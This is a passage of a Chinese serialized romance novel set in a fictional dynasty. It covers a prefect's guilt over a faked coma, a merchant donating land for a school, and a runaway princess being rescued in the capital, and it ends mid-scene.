“这人参能养气是不错,可是现在你给他喝,他也未必能喝下去,等他醒了,你再给他吧,注意要是他饿了,吃点汤汤水水就行了,千万别吃太硬。”大夫嘱咐完就走了,连锁见这情况也大体弄清了便回知府衙门向周启报告。 “他怎么摔在台阶上了?” “大人,这李大叔在咱们这根本就不从椅子上站起来,都是侍卫们照顾他,他这一出去没人照顾了,可不得自己站起来嘛。” 周启听了这话有点后悔,“昨天不把他们赶出去好了。” “大人,这是意外,怎么能怪您呢。” “可是我之前明明说以后会照顾李老四的,终归是我没有做到。” “大人,大夫说也许他醒了什么事也没有也说不定呢。况且昨天是吴怡骗了人家一万两银子,您这也是为了让她学好,李老四的事情是意外,大人不必自责。” “可是诱人向善也是我作为知府的责任,我不该把他们轰出去了事,还是我太冲动了。连锁,你去张家看看吴怡有什么需要,要是出了什么事你也能搭把手。” “是,奴才这就去。” 连锁走后,周启仍旧愁眉不展。李老四虽然不靠谱,曾经非法拘禁了娉婷,周启恨不得将他挫骨扬灰,可是他在牢里中毒,终身残疾,也算是为自己的所作所为付出了代价,如今又摔倒在台阶上,周启怎么想怎么觉得自己负有不可推卸的责任。 “你呀,什么责任都要往自己身上揽,这就是一个意外。”李博听说了这件事,知道周启一定会自责,巴巴赶来开解。 周启看了一眼李博,也不说话,双手背在身后仍旧愁眉不展。 “我打听了,大夫都回去了, 我觉得没事,要不大夫肯定得看着呀。” “大夫怎么回去了?” “说明没大事呗,你放心吧,李老四这种中毒都没事的人,哪这么容易死了呢?” “李博,今天我不知怎的,就写了离合书给吴怡了。” “这是好事啊,你们又不是真成亲,她想要你就给她呗。” “可是……” “你不会真喜欢她了吧?我都跟你说多少次了,你可不能动心。” “哎呀不是,我就在想万一李老四死了,他要是知道我和她闺女离合了,那还不得带着遗憾上路嘛。” “别说他一时半会死不了,就是他死了,那离合书你都给她了,还能要回来啊?再说了,李老四早就不该白日做梦,容他胡说了这么久,咱们也算是仁至义尽了。况且要不是你,他早就一命呜呼了,哪还有现在啊?” 听李博说了这么一大车话,周启的心情并没有丝毫缓解,当天晚上李老四仍旧没有醒过来,所有人都很着急。 (本章完) 第九十章 李博、张灵联手 - 风吹繁花散落时 - 红酒羊排 李老四已经昏迷了一天一夜,所有人都很着急,周启在知府衙门终究是坐不住,也来到了张家小院。一进门,张灵赶紧走过来,“李大人,周大人,你们怎么来了?” “怎么也算是认识的人,所以我过来看看情况怎么样。” 张灵看了一眼房间,将周启拉到一边,小声说道:“看着不太好,一直都没醒过。” “吴怡呢?” “一直在李老四身边呢,怎么劝都不行,一天都没吃东西了。” “那我进去看看。” “周大人,我看还是算了吧,她现在心情不好,看见你可能……所以我看还是算了吧。要不这样,你们先回去,有什么情况我再派人去告诉你们,到时候你们再来。” 周启没有理张灵,自己往屋里走。张灵本想再劝周启两句,李博上前拦住了张灵,“张小姐,虽然我们萍水相逢,但是我觉得你还是比较聪明,所以有句话我觉得我还是早点说比较好。” 张灵不等李博说完,眨眨眼问道:“李大人为何还在徽州?” 李博稍微一愣神,双手覆于胸前,“本官去哪,需要与张小姐汇报吗?” 张灵也不恼,不卑不亢说道:“之前周大人遇袭,我听说歹人还没有抓到,我也知道李大人是想留在徽州保护周大人,我现在就可以明确地告诉大人,我也是想保护他。” “保护?张小姐是何意?” “李大人与周大人一起长大的,关系非同寻常吧?周大人与吴怡亲近,你很紧张吧?我知道,这不仅是因为吴怡是平民丫头,更因为周大人。”张灵快速看了一眼吴怡所在的房间,又转而对李博一字一字地说道:“因为周大人不是周大人。” 李博眼睛迅速闪了一下,“你,你什么意思?” “哦,也许我说的不太准确,我的意思是说周大人不单单是周大人。”从李博的眼神中,张灵知道自己猜的没错,周启不仅是徽州知府,他的真实的身份其实是大周的嫡皇子,而且是大周唯一的嫡皇子。 李博突然挺直了腰板,双目圆瞪,“我警告你,不要轻举妄动!” “李大人,我刚才说了,你想保护周大人,我也想。我们现在是站在同一条战线上的,真正不该轻举妄动的,喏,在里面呢。” 李博顺着张灵的眼光看去,吴怡房间的门紧闭着,周启已经进去有一会儿了。 吴怡哭了一天终于不抽搭了,周启见她双眼通红一直握着李老四的手,顿时更加自责。周启拍了拍吴怡的肩膀,“吴怡,你别这样。” 吴怡回头看看周启,眼泪又掉了下来。“周大人,我爹,我爹会不会死?呜呜呜呜,我错了,我不该拿人家一万两银子,我,我要是不拿人家钱,你也不会把我 们轰出来,我爹也不会摔倒了,我错了,呜呜呜呜,爹,我错了,我错了。你活下来啊,你不要死啊,爹。” 周启突然泪目,他觉得虽然吴怡有错,但是这样的惩罚实在是太重了。周启缓缓蹲在吴怡身边,“吴怡,李大叔之前中毒那么凶险都没事,这次大夫说了,有很大的可能是没有问题的,你别太担心了。吴怡,吴怡你听我说,张灵说你一天没有吃东西了,你这样下去身体会吃不消的。吴怡,要是李大叔醒了,看见你雷倒了,那他肯定也会不好受的,你说呢?” “可是我吃不下,我担心我爹。” “这样吧,你去吃点东西,我在这看着李大叔,他要是醒了,我一定第一个叫你好不好?”周启慢慢站起来,也拉起了吴怡,“去吧,我在这看着,你赶紧去吃点东西。”说着就将吴怡推出了屋,吴怡一步一回头,周启不想功亏一篑,“好了,我看着啊,你赶紧去吧。”吴怡出去后,周启坐到了床沿上,见李老四双眼紧闭,周启想起昨天他还女婿长女婿短的叫着,就是自己失踪的那两天,李老四也一直将自己当女婿,还坚决要吴怡为自己恪守妇道。这个李老四坏的时候是真让人恨得牙根痒痒,可是也有可爱之处,如今他这样不生不死自己有很大的责任,周启第一次如此自责。正想着,李老四突然动了一下,“李老四?李老四?”周启俯下身子,李老四还是双目紧闭,“李老四,你,你能听见我说话吗?李老四?” 这时,李博和张灵走了进来,“大人?他醒了?” “我刚才看他好像动了一下。” “那我去叫大夫。” “大夫,大夫,吴怡,吴怡,李老四醒了!” 不一会儿功夫,小屋子里挤满了人,吴怡紧张地看着李老四,大夫检查了很久,仍旧摇摇头。“大夫,大夫?” “姑娘,这病人应该没醒。” “怎么会没醒呢?刚才周大人说我爹动了一下。” “姑娘,这病人就算是动了,也不一定会醒啊,他一定要醒过来才行。” 吴怡一听急了,冲过来拉着周启,“周大人,周大人你告诉他,我爹动了是不是?我爹是不是醒了?” “我……”周启只是模模糊糊看见李老四好像是动了一下,他到底有没有动现在都感觉有点拿不准,“吴怡,我,我也不太确定。” 张灵过来拉住吴怡,“吴怡,这要是动了一下肯定也是没看清,也许周大人看差了,你也别太激动了。” “看差了?周大人,你看差了?” “我,我可能看差了吧。” “周大人,周大人你怎么会看差了呢?是不是我爹要死了?所以你们都骗我?是不是我爹没救了?周大人,周大人你说实 话啊!” “吴怡,吴怡,我,我可能是真看差了,对不起啊,我可能是糊涂了。” “你怎么能看差了呢?!”吴怡一下子急了,“这什么时候,你怎么能看差了呢!你,要知道我不听你的了,我就应该好好看着我爹,我就知道,你根本就不在意我爹死活!你们这些当大人的,根本就不在意我们这种小老百姓的死活!在你眼里,我们就是街边的草,死也就死了,可是我能不能求求你,你别耍我们行不行?我爹要是死了,那也是他的命,可是你这样耍我,有意思吗?” “我没有耍你,我刚才真的看见,好好好,也许是我看错了,吴怡我向你道歉,可是我真的没有想耍你。” 李博一听周启给吴怡道歉可不愿意了,“大人!”又转而对吴怡说道:“吴怡,我们大人不是耍你。再说了,这谁都有看错的时候,你怎么能怪我们大人呢?” “你们,你们欺负人!”吴怡已经泪如雨下,她不知道该怎么办好,打又打不过,对方还都是大人。 张灵看周启脸色不对,赶紧上前一步,“吴怡,吴怡你冷静点,现在最重要的是李大叔,是不是?”张灵拍着吴怡的后背,“好了别哭了啊。吴怡啊,不如我们一起在这陪着李大叔。大夫,你只要在这好好待着,守着病人,今天晚上不管你要多少钱,我张灵都出了。” 大夫自然赶紧答应,周启觉得自己简直是来捣乱的,不仅自责还懊恼,转身离开,李博最希望周启赶紧离开自然无话,张灵紧走两步,追上周启,“周大人,周大人。” “张小姐,吴怡和李老四还得你多费心了。” “你放心吧,我一定会好好照顾他们的,大夫也一直在这,一定会没问题的。”张灵顿了顿,向前一步用手摩擦着周启的胳膊,“周启,你可千万别太自责了。我知道你也是为他好,要不你也不可能大晚上跑这来帮她看着她爹啊,我相信你肯定是好意的。就是吴怡现在正在关键时刻,难免比较敏感,毕竟她和她爹相依为命这么多年,你也不要怪她,好嘛?”张灵见周启点了点头,赶紧招呼李博,“李大人,你先陪周大人回去吧,有什么事我一定派人告诉你们。” 周启什么也没有说,失落而归,李博向前走了两步,斜眼看着张灵。张灵看着周启已经出了小院,转眼又看见李博,她与李博正面而立,李博眯着眼上下打量张灵,心想:这个女人的确不简单。可是两人什么也没有说,相互一转身安然离开。 此时的周娉婷已经回到京城,皇帝和皇后一反常态什么也没有说,半句责备也没有,娉婷难得清静,躲在房间里不出门。三皇子打着来探望妹妹的旗号来打听周启的下落,却连 娉婷的面都没有见到,甚至连皇后都被娉婷拒之门外。娉婷觉得皇宫就是一座牢笼,而很快她就要去西凉,远离故土家园,独自面对黄沙和戈壁,在遥远的异国他乡度过余生,徽州就是一场不切实际的梦想,而陈明阳是一个永远错过的人。 这个夜晚注定是不平静的,周氏兄妹各有各的烦恼,而半夜醒来的张灵在吴怡窗外看见了一件了不得的大事。 (本章完) 第九十一章 李老四装病被揭穿 - 风吹繁花散落时 - 红酒羊排 第二天,李老四仍旧昏迷不醒,吴怡心急如焚,张灵倚在门口看着这一切,突然招呼大夫出来。大夫连连摇头,“这位姑娘,这位病人都两天一夜了还不见起色,看着实在不行了。” “那他的脉象?” “脉象还算平稳,可是这一直不醒,我捉摸着啊,很有可能摔到脑袋了,这要是摔到脑袋了可就不好了呀,也许这一辈子都会醒不过来。” “好,我知道了,大夫,这没有你事了,你回去吧。” “那我就走了,这病人要是再有什么再来找我吧。” 张灵送走了大夫,又派人将周启请来,李博自然也跟来,周启心情复杂,整天都心神不宁。三人走进来,见吴怡双眼呆滞一直在李老四床边,张灵走了过去,蹲在吴怡身边,轻声说道:“吴怡,周大人和我有事跟你商量。” 吴怡机械地转过头,满脸泪痕地看着张灵。 “吴怡,不如我们到那边说吧。”吴怡被张灵扶起来走到旁边,周启看了一眼李老四,他仍旧一动不动。李博轻轻拍了一下周启的背,两人也站在张灵、吴怡身边。张灵率先开口道:“吴怡,今天大夫说。”张灵迅速看了一眼大家,“大夫说,李大叔可能永远也醒不过来了。”吴怡一听就急了,张灵赶紧继续说道:“但是呢,大夫也说了,他这样倒是好了,毕竟没有,没有那个嘛。所以呢,我就是想,我。”张灵又迅速看了一眼大家,“我就是想问问你,这以后你打算怎么办呢?” 吴怡再次泪奔,身体晃了两晃,终究一句话也没有说出口,她也不知道应该说什么。 “吴怡,李大叔这样不能随意挪动,你短时间也不可能去哪,不如你就在这住下,一边照顾李大叔,一边呢可以考虑考虑以后做什么,你说呢?” 吴怡只是一味哭,半句话也说不出来。周启不知道该如何安慰,又转头看了一眼李老四,他再一次觉得李老四动了一下,可是他不敢声张,又回过头看着大家。张灵努力安慰吴怡,李博眼神游离,不知道该做点什么,周启右手摩擦着自己的衣服,他知道张灵在说话,可是他一个字也听不见去,他忍了一会儿又一下子回头,又看见李老四动了一下。周启整个转身过来,他觉得这次自己肯定是没有看错。周启缓缓走到床边,他仔仔细细看着李老四,李博也走过来,“怎么了?” “啊?我,可能我眼花了吧。” “眼花?”李博也看着李老四,张灵不再劝吴怡,也看向这边,“怎么了?” “哦,没事。那个,吴怡啊,要不你先住在这吧,明天我给我家里写封信,请京城的名医到这来给李大叔看看,也许还能有希望。” 吴怡一听,终于缓过神来,三步 并两步冲到周启身边,“真的?周大人,周大人你真的愿意帮我爹联系一下京城的名医?我谢谢你,太谢谢你了,谢谢,谢谢!” 李博知道周启的脾气向来说一不二,既然他已经说了会给李老四联系,自己现在说什么也没有用了,只好实施的时候小心点,别暴露身份就行。 “吴怡,既然周大人这么说了,他一定会帮你联系的。我觉得这是好事,多条路总是不错的,你觉得呢?” 吴怡赶紧擦两把眼泪,“嗯,是,谢谢你们,谢谢周大人,谢谢张小姐。” “没事,这都是周大人为你考虑,我也没有帮上你什么忙。这以后啊,还得你照顾李大叔呢。吴怡啊,要不这样,我看李大叔也不会出什么情况了,不如你先去洗把脸吃点饭。哦,对,我让他们把水给你端来,你在这旁边吃饭就成,你等会啊。” 没一会儿功夫,张家丫鬟端着水走了进来。“哎,对了,这也两天了,你给你李大叔也擦擦,要不一直躺着该得疥疮了。” “我来吧,我来。” “没事没事,吴怡你先吃饭,她们手脚可利落了,放心吧。” 李博看这里有张灵照应便打算劝周启赶紧回去,就在此时,张家的一个丫鬟掀开李老四的辈子准备为李老四翻身,另一个丫鬟脚底没有走稳,一不小心打翻了洗手盆,一整盆水一股脑泼在李老四身上,李老四“啊”得一声坐了起来。所有人都楞了一下,丫鬟赶紧认错,将毛巾拿来为李老四擦身体。 “爹,爹,你醒了?”吴怡一个箭步冲过来,“您怎么样?头疼不疼?身上疼不疼?啊?您说话啊?” “啊?我,我,我不疼啊,我,哎呀我这是怎么了?我这怎么躺床上了?” “李大叔你好了?”张灵站在周启身边,“太好了,来人,快去请大夫,来人。” “哎哎哎,不用请大夫了吧?我这都好了,你看我这没事了。” “没事?李大叔,你没事啊?” “爹?” “没事了。嘿,这不是现在好了吗?我真的哪都不疼,这大夫不说了嘛,我要是哪都不疼就是没事。”李老四坐在床上伸开双臂,“你们瞧,我这没事了。” “大夫?”周启顿时怒火中烧,“你听见大夫说的话了?你早醒了是吧?” “啊?没有啊,我,我这躺着能听见你们说话。” “李老四!”周启怒目圆睁,“我就知道,你这种骗子根本就不值得相信!亏得我还想帮你联系京城的名医,我周启真是傻了眼,居然还能相信你!” “哎,我没有骗你啊,我真的是晕倒了,我,哎,吴怡,你是不是看见我晕倒了?你快告诉他们。” “是啊,我爹真的晕倒了,他摔倒在台 阶上了。” 张灵抢先一步,“吴怡,我们不是不相信你。可是李大叔,你这早醒了怎么不告诉我们一声呢?我们多担心你啊,尤其吴怡,这都两天了,她一直守在你身边寸步不离的,你说你这样,你女儿也担心啊,这两天她都滴米未进的,多伤身体啊。” 李老四双手撑着床,嘿嘿一笑,“没事,我们父女饿几天没事的。” 周启气得用手指着吴怡又指着李老四,“好啊,父女两个重操旧业是吧?骗我真是驾轻就熟啊,这次你们想骗多少钱啊,十两?五十两?哦,对了,吴怡你不是刚骗了一万两吗?你还能看得上这十两五两的呀?大鱼小鱼都是鱼是吧?你一个女孩子能不能要点脸?” “我,我不知道我爹醒了!” “嘿,女婿,我这真的刚醒,吴怡怎么知道我什么时候醒呢,我这醒了,你难道不该高兴吗?” “我高兴?本官是挺高兴的,本官的地界上又多了两个骗子!本官又该尽父母之责了,怎么能不高兴呢!你说是吧?老骗子!小骗子!” “哎!”吴怡这次真的生气了,一下子站起来,“周大人,我,我爹真的是摔倒晕过去了,他也是刚起来,我根本就没有联合我爹骗你,你怎么就不相信呢?” “相信?那你也得干点能让人相信的事情,你们就是两个骗子!对了,你们不是要离开徽州吗?赶紧给我滚!” “我凭什么滚?我都说了,我没有骗你,是不是爹?” “就是啊,我这真的刚醒,你怎么回事?我醒了你还不高兴了?那我死了你是不是就高兴了?” “爹!” “吴怡,没事,爹福大命大死不了!” 张灵见大家都生气了,尴尬一笑,“李大叔,我们怎么会希望你死呢?你看周大人这两天一直很自责,想着不该把你们轰出来。” “是吧?就是不应该把我们轰出来!” “是啊,李大叔,现在好了,你终于醒过来了,那你是不是想再知府衙门?不如?” “对对对对,我当然得跟着我女婿了,吴怡,你赶紧,赶紧跟周大人说你错了,你一时鬼迷心窍,是你不对,是你不好!” “哎,爹,我……” “你赶紧的呀,然后咱们好回去呀。” “不必了!”还没等吴怡开口,周启瞪了父女两一眼,“李老四、吴怡,算我周启脑子不灵光,居然能被你们骗两次!从今以后我们水归水路归路,你们爱去哪去哪!只是有一样,你们要是敢在徽州行骗,休怪本官对你们不客气!”说着周启头也不回地走了。 “哎,谁行骗了?周大人!” 吴怡刚要追上告诉周启自己没骗人,李老四也是真晕倒,却被张灵一把拉住。“吴 怡,你爹刚醒,你先照顾你爹,我去跟周大人说。”说完张灵一转身追了出去,幸亏周启还没有走远,在前院追上了,“周大人,周大人。”两人并肩往前走,张灵说道:“周大人,这李老四也许真的是刚醒。再说了,也许是李老四装晕,吴怡并不知情呢。就算她知道,她也没有什么恶意。” “她不知道?她一直在李老四跟前,她能不知道?我告诉你,他们就是两个骗子!” “周大人,也许他们就是想留在徽州,又没有别的恶意,算了,别跟他们置气了。再说了,只要李老四醒过来,咱们不也安心了嘛。” 周启站定,长出一口气,李博从两人身边经过,“周大人,我们回去吧。” “李大人,周大人心情不好,你要开导开导他呀。” “放心吧。”李博拉了一下周启,“走了。” 周启、李博离开小院,张灵转身又走进去,远远听见李老四和吴怡的对话。 “啥?你真的装晕啊?” “我不装晕咱们现在早就不在徽州了,我不装晕行吗?” “李老四!你就是一个不靠谱的!” “我不靠谱?我不靠谱你靠谱?好好的知府夫人不当你要嫁给钱宁,现在好了,被人家钱家赶出来了,还得灰溜溜从这徽州滚蛋。你知不知道这大周之内徽州最富,我告诉你,我哪也不去!死都不走!” “哎呦,你就别闹了。现在不是钱家让我们走,连周大人都说了,我们必须离开徽州,要不然,要不然你想坐牢啊?” 正说着,张灵走了进来,“吴怡。” “张小姐,真是不好意思,这两天打搅你了。” “吴怡,我原本是好意收留你们,可我没想到你爹竟会这样。”张灵看了一眼坐在床上的李老四,又对着吴怡说道:“我们张家庙小,容不下你们这两尊大佛。况且民不与官斗,这周大人都叫你们离开了,我也不好说什么。所以看在我收留了你们一场的份上,请你们赶紧走吧。”说完,张灵转身离开了。 吴怡知道是李老四胡闹,还给人家添麻烦了,也不敢辩驳,收拾东西,雇了一辆马车,连拉带拽地拖着李老四离开了徽州。 (本章完) 第九十二章 筹办学堂 - 风吹繁花散落时 - 红酒羊排 吴怡离开徽州后,周启与李博、张灵商量起开办学堂的事情,钱万全其实有些后悔,这开办学堂是功在千秋的大事,不该因为一时得失而放弃这么好的机会。这天钱万全站在院中,王夫人为丈夫披上外衣,“老爷。” “你怎么还没睡啊?” “老爷,你是不是后悔了?” “啊?没有,没有。” “嘿,我还不知道你嘛。周大人要开学堂,这的确是好事,不如我明天再去找张灵问问情况?” “哎,算了。” “老爷?” “夫人呐,你说我们忙乎半辈子是为了什么?” “为了什么?这大半辈子都过来了,还不是为了钱家能越来越好嘛。” “以前我也觉得是,钱家越来越好,钱记在商场上成了大周天字一号的招牌。可是呢,你说咱们这一年,朝廷供奉没有了,想去西凉又不敢。呵呵,钱记发展成了今天这样,随时都有做得更大的机会,也随时都有可能倾家荡产。我最近想了很多,我觉得咱们这半辈子啊,是为了钱记忙活,也是为了咱们这个家,为了你,为了两个孩子。” “老爷?” “你说一年前,钱宁和张灵是多好的一对啊,就是朵朵,那也是咱们最贴心的女儿啊,可是现在呢?现在咱们有什么?咱们又该怎么办?又能怎么办呢?” “老爷,那个吴怡不是走了嘛,等钱宁回来,他会明白咱们的苦心的。” “唉……” “那学堂?” “其实你说张灵和周知府看着也不错,能在一起我们这当长辈的也应该替她高兴才是。再说她和钱宁也是有缘无分,这样也好,断了钱朵的念想也好。” “老爷!” “夫人,我想好了,咱们在河边的别苑本来也没什么用,不如给周大人开办学堂用。” “那字号?” “周大人肯定是想作为自己的政绩,字号就不要想了,张灵不是说邓敬之先生会写篇文章嘛,肯定会把这别苑写上的,那就够了。” “那我们不白折腾了?要知道开始就答应了多好,如今还白白便宜了张灵那个丫头。” “哈哈,商场就是这样,机会稍纵即逝。” “唉,都怪我,光想着张灵那个丫头对不起钱宁了。” “她也没有对不起钱宁。” “是是是,没有对不起,是我们奢求了。” “那就这么定了,我明天就去说去。” 第二天钱万全真的来到知府衙门,表示愿意将钱家别苑提供出来为学子们当做校舍。 张灵听了由衷的说道:“钱伯伯这是好事啊。” “那本官就代表徽州所有学子,多谢两位慷慨解囊。” “这是利国利民的好事,应该是我们代所有学子谢谢周大人才是。 ” 周启没再说什么,只浅浅一笑,三人开始考察别苑,商量学堂开办的具体事宜。那边陈千朗听说了这件事急急来找钱万全理论,“钱兄,之前你不还说我们两家应该放下过往,同舟共济,再创徽商辉煌吗?” “我是这么说的呀,怎么了?” “开办学堂这样的事情你怎么没有告诉我呢?” “这是周大人提议的,是张灵告诉我的。” “就算是周大人提议的,你也应该知会我一声啊!” “我不知道周大人没有找你啊,我还以为他问了一圈徽商呢,毕竟这事是有利于徽州的。” “张灵就算和你们钱家亲近,就算哪天她真的成了你们钱家的儿媳妇,可是她毕竟是晋商,我们徽州的事情还不需要她来插手吧!” “陈老板,张灵出资是看在周大人的面子上,与我们钱家没有关系。” “没关系?谁不知道你们好的和一家是的?要不他们张家在西凉能带着你们?” “怎么?陈老板最近在西凉不顺利?” “你别转移话题,我问你,现在学堂还需要多少银子?” “那我不知道,你怎么不自己去问问周大人?” “唉,要不是周小姐,我们陈家也不会和官家弄僵了。” “周小姐不是走了吗?怎么?哦,对了,陈明阳怎么还就没见了,他去哪了?” 陈千朗心里也打鼓,他的商队发回来消息说周娉婷往京城去了,他赶紧写信叫陈明阳回来,可是好几天了,陈明阳还是半点消息都没有。 “既然陈老板不好说,我也就不问了。但是我觉得周大人真心为徽州好,不会因为儿女情长就拒绝陈老板对徽州学子的好意,所以陈老板大可以自己去找周大人,就不用我当这个中间人了吧。” 陈千朗思虑良久,终究为了陈记走进了知府衙门。周启可不在乎多个人出资,爽快答应了陈记的出资要求,其他徽州也大多听说了开办学堂的事情,忙不迭来表示。一时间知府衙门热闹非凡,学堂的地址和启动资金都到位了。 这边周启忙得暂时放下了吴怡,娉婷却始终没有走出阴霾。皇后见女儿这样,看在眼里急在心里。这天,皇后组织朝廷命妇和小姐们一起在皇家别院游玩,娉婷心情烦躁,看见这么多人更烦。 “公主,皇后娘娘已经在等您了,还是赶紧过去吧。” 娉婷一句话也不说,她现在看见谁都烦。 “公主,公主殿下……” 娉婷把朱钗往桌子上一摔,小宫女顿时不敢言语,皇后走进来,“你们下去吧。”娉婷皱着眉,也不看皇后也不说话。 “娉婷。”皇后按着娉婷的肩膀,“娉婷啊,你偷偷跑出宫,父皇和母后什么都没有说,就觉得 你出去散散心也好,可是现在你回来了,也该收收心了。今天母后可是专门为了你举办的这个游园会,和那些官家小姐们在一起聊聊天也是好的。” 娉婷翻了一个白眼,还是不说话。 “娉婷,人都已经来了。再说了,再过两天就是你的生辰了,你哥哥不在,这还不就是为了你庆祝嘛。” “谁让你们给我庆祝了?” “娉婷。” “以前哥哥在,每次生辰就好像只是哥哥一个人的生辰似的,跟我有什么关系?” “娉婷,这你和哥哥是同一天生的,庆祝都是一起庆祝的,怎么会跟你没关系呢?” 娉婷忽的一下站起来,“跟我有什么关系,从小到大,什么事情跟我有关系了?什么事情我自己能做主了?哥哥想出宫就出宫,想出京就出京,我呢?我就只能呆在这座皇宫里,跟坐牢一样!” “这宫里怎么是坐牢呢?” “不是坐牢吗?我一点也不想看见那些人,我一点也不想应付他们,我甚至都不想看见你!” 皇后一生气上来就抽了娉婷一个巴掌,一下子两人都愣住了,“娉婷。” 娉婷甩开皇后的手,“你自己去应付她们吧!我的皇后娘娘!”说完娉婷怒气冲冲跑了出去,说来也巧,李贵妃迎面走来,李贵妃笑脸盈盈,“公主殿下……” “闭嘴!”娉婷才不想理她,看见她就烦。 李贵妃吓了一跳,“哎呦,娉婷,这怎么说我也是你长辈啊,你怎么这么说话呀?” “我怎么说话?我这说的还是好的。” “这还叫好话?真是不知道皇后娘娘怎么教导你的,从小就这么没教养,这以后嫁到人家西凉去,吃亏可是你自己!” 娉婷一听见西凉心里更烦了,“谁嫁到西凉?我告诉你……” “呵呵,娉婷公主,你呀,你嫁给西凉王啊。人家的聘礼都给送来了,你还不知道呢?下下个月你可就出嫁了,怎么脾气还这么臭呀。” 娉婷怒火中烧,上来就和李贵妃扭打在了一起,场面顿时乱了。皇后从屋里出来,宫女们都来帮忙,可是两个人都打得难舍难分,朱钗挂件全打在地上,连人也躺倒一片。皇后终于拉住了两人,“都别闹了!” “小丫头片子,真敢跟我动手啊你!” “还跟你动手?我去西凉你就得意了是不是?那我去之前先送你去见阎王!看你还得意!” “你!皇后娘娘,这就是你教出来的好女儿?还要杀我呀?” “闭嘴!都给我闭嘴!”皇后自己站起来,两人还跪坐在地上,“你们两个谁要是再敢说一句话,本宫就叫她吃不了兜着走!” 娉婷瞪了一眼李贵妃,一骨碌爬起来顺手捡走了李贵妃掉在地上的 令牌,李贵妃见娉婷走了,想撒气也没地撒了,被宫女扶起来,好奇地问道:“这公主也是,这是跟谁生气了?奇怪。” 皇后也心情烦躁,白了李贵妃一眼,“李贵妃,皇子不是你能议论的,公主也不是,你还是少操点心吧,看你脸上皱纹都多了。”说完皇后便走了,李贵妃嘴巴都张大了,赶紧摸了摸自己的脸,又看着皇后远去的方向,“切,你才皱纹多呢!” 这边娉婷偷了李贵妃的令牌,赶紧换了一身宫女的衣服,趁着命妇们进宫的乱劲独自出了宫。娉婷也不知道自己为什么出宫,也不知道去哪,可是她知道若是再跟这帮女人在一起,再听见叽叽喳喳没有一句真话的谄媚之言,自己马上就要疯了。娉婷毫无目的地走在街上,街上人来人往,熙熙攘攘的,娉婷却仍旧觉得心里空落落的。走着走着,娉婷走到了上河边上,她又想起徽州的河,河岸边总是宁静自然,徽州的人似乎都是怡然自得有条不紊的,那里的山水也都如诗如画,而这一切就好像遥远的梦一样,再也回不来了。 娉婷正站在河边发呆,三位富家公子走了过来。为首的那个一拉旁边的两人,“哎,你们看。”只见娉婷身段袅袅,背影娉婷矗立在河边,光看背影就知必是美女。三人相互交换了一个眼神,为首的一甩头,“走。”三人围住娉婷,“这位小姐有何心事?不如和我们兄弟说说?” 娉婷皱着眉看见人就烦,不想理会他们便继续看河。 一位公子大着胆子从娉婷脖子后面深深吸了一口,“香,真是香啊。” 娉婷觉得浑身汗毛都炸起来了,打算离开,可是三人拦住了娉婷,“哎,小美人去哪啊?让我们帮你排解排解。” “滚开!” “呦,还是一个小辣椒,来来来,让公子我瞧瞧,到底有何忧愁?” “我叫你滚开!”娉婷手一挥,打算往外走,可是三个狗皮膏药还紧紧跟着娉婷,“撒手,你们知道我是谁吗?” “哎呦,小美人想走?那叫哥哥们送你回家,好不好?”说着三人动起手来,娉婷急了,上去就给了为首的男人一个巴掌,三人也急了,“嘿,小丫头,敬酒不吃吃罚酒,老子是兵部尚书的大公子,你敢打我?看我怎么收拾你!”说着,三人就要将娉婷拉走,娉婷弯着身子死也不肯走。正在这时,一个路人路见不平一声吼,“住手!” (本章完) 第九十三章 周娉婷、陈明阳京城重逢 - 风吹繁花散落时 - 红酒羊排 娉婷正背三个富家公子调戏,一个路人路见不平一声吼,“住手!” “去去去,少管闲事,老子是兵部尚书……” 没等那人说完,路人上来就将为首的公子打翻在地,其余两个人上来帮忙,那人左右躲闪,三下五除二就将三人制服了。三人连滚带爬赶紧跑,一边跑一边还说道:“你等着,有种你就等着!” “小姐,你没事吧?” 娉婷一抬头,简直就像做梦一样,陈明阳就站在自己面前。“怎么是你?”娉婷机械地问出,两人同时愣住了,原来陈千朗的信件被驿站弄丢了根本没有寄到,陈明阳之前听了陈千朗的建议一直躲在京城,今天碰见周娉婷纯属意外,“你,你知道我在京城?” “你一直在京城?” “你不是来找我的?” “找你干嘛?反正你都不理我,我找你干嘛。”说着娉婷悲从心中来,又落下泪来。 “哎,你,你别哭啊。” “你走吧,反正也没有喜欢我,没人管我。” “怎么会没人管你呢?周大人不是挺疼你的吗?” “疼我什么呀?他就为了他自己的前途,根本就不管我死活。” “这怎么会呢?你和你哥闹别扭了?” “才没有呢。” “哈哈,那你说人家不管你。成了,别哭了。”陈明阳知道娉婷就爱逞强,用手帮娉婷将眼泪擦干。“别哭了,这大街上,不知道的还以为我欺负你了。” “就是你欺负我。” “嘿,我这刚救了你,你怎么又诬陷我呀。也是,是我自己不长血,忘了应该躲着你走。” 娉婷破涕为笑,“你烦死了!” “哈哈哈,成成成,不躲你了,你这都追到京城来了,我也没地躲了,再躲我就只能去西凉了。” 娉婷最不想听见西凉两个字,等着陈明阳,“西凉西凉,西凉就那么好吗?” “西凉好啊,天高地阔的,再说了,你又没去过,你怎么知道不好呢?” “就是不好!” “我觉得挺好的,你看啊,咱们大周城镇多,去哪都是人,可是人家西凉就不一样了,人烟稀少,大漠孤烟直、长河落日圆,你没看见过吧?那叫一个漂亮,天天看着这样的景色,心情也能好很多,你呀,你就应该去西凉,去了西凉你就不会天天不高兴了。” 陈明阳这么说原本是开解娉婷的意思,可是娉婷现在最讨厌西凉,一点也不领情,“西凉这么好你自己去啊,干嘛非得叫我去?谁爱去谁去啊,我才不去呢!我死也不去!” “哎哎哎,不是,你不想去就不去呗,又没人逼你去是不是?好好好,咱不去啊,不去,坚决不去,成了吧?” 被陈明阳一哄,娉婷终于破涕为笑,“你真 讨厌。” 正说着,兵部尚书家的大公子带着一大堆人来了,娉婷一看居然还有官兵,赶紧拉着陈明阳跑。两人一路狂奔,幸亏陈明阳身手不凡,又在闹事才终于与官兵拉开了一段距离。陈明阳见在这样跑下去就要跑到胡同里了,赶紧找躲避的地方,“这边这边。”幸亏店铺林立,与陈家有商业往来的商家多了。两人躲进赌坊,能在京城开赌坊的都背景不凡,几乎无人敢闹事。这赌坊大掌柜曾是陈记掌柜,远远瞥见陈明阳拉着一个女孩子进来,神色又慌慌张张的,知道两人必定有事,二话不说将两人让了进去,自己站在赌坊门口。不一会儿赌坊门口就聚集了一大批人,大公子指挥,官兵挨家搜索。 “公子这是?” “去去去,没你的事。” 掌柜的仍旧笑脸相迎,丢给伙计一个眼色,满脸横肉的伙计转身进店。官兵还在横冲直撞,终于查到了赌坊。“呦,杜掌柜。” “图二爷。” “杜掌柜可有一男一女进去啊?” 